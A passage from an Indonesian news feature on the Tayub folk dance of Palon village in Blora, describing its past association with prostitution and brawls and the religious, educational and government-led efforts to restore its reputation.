Karena itu Wakimi tidak segan-segan melakukan pekerjaan ini secara terbuka dengan melayani lelaki baik di rumahnya sendiri maupun di luar rumah. Walau Wakimi bukan penari Tayub, tapi tak bisa dipungkiri hal ini membuat citra Tayub semakin miring.
Desa Palon sebagai gudangnya para penari Tayub di Blora turut kena getahnya. Warga setempat pun banyak yang gerah. Apalagi sering terjadi perkelahian saat Tayub digelar.
Tahun 70 hingga 80 an, hampir 20 persen penari Tayub di Desa Palon berprofesi sebagai pekerja seks. Sebuah kondisi yang sungguh tak sedap bagi warga Palon.
Bagaimana Mengubahnya
Sebetulnya bila ditelaah tidak ada yang salah dengan bentuk kesenian ini. Tidak berbeda dengan bentuk tarian lainnya. Kesenian Tayub juga bisa menjadi salah satu bentuk silaturahmi. Seseorang bisa bertemu dengan banyak orang dalam suasana menyenangkan dan penuh kegembiraan.
Dalam Tayub, tidak ada aturan baku baik yang dilakukan penayub maupun pengibing dalam mengerakkan tangan dan kaki mereka. Gerakan yang dilakukan bebas-bebas saja tergantung perasaan masing-masing ngikuti alunan lagu. Semua senang, semua gembira. Sebuah kegembiraan yang harusnya membawa hal positif.
Keberadaan Tayub yang dikaitkan dengan hubungan seks bebas harus dihilangkan. Hal inilah yang disadari oleh warga Palon, termasuk aparat desa dan tokoh agama setempat. Antara lain dengan membangun masjid dan mushola di setiap dusun. Sekolah-sekolah agama juga digiatkan.
Memang tidak ada sanksi tegas bagi mereka yang menjual diri. Kesulitan ekonomi dianggap sebagai wilayah yang amat pribadi. Yang ada sebatas sanksi sosial, dicemooh, dikucilkan warga. Namun toh demikian, perlahan ada hasilnya. Tak sebanyak dulu penari Tayub yang melacurkan diri.
Selain pendekatan secara agama, juga dilakukan pendekatan ke sekolah-sekolah. Sementara itu para penari Tayub juga kini dikelola secara profesional melalui pelatihan khusus dari Pemda Blora. Tidak liar seperti dulu lagi.
Sebagai sebuah kesenian rakyat, sudah sewajarnya dalam Tayub semua gembira bersama tanpa mengenal batas golonga. Pejabat pemerintah, warga biasa, kaya dan miskin, semua lebur bersama, tanpa melupakan ada batasan susila yang harus dijaga bersama. (Sup)
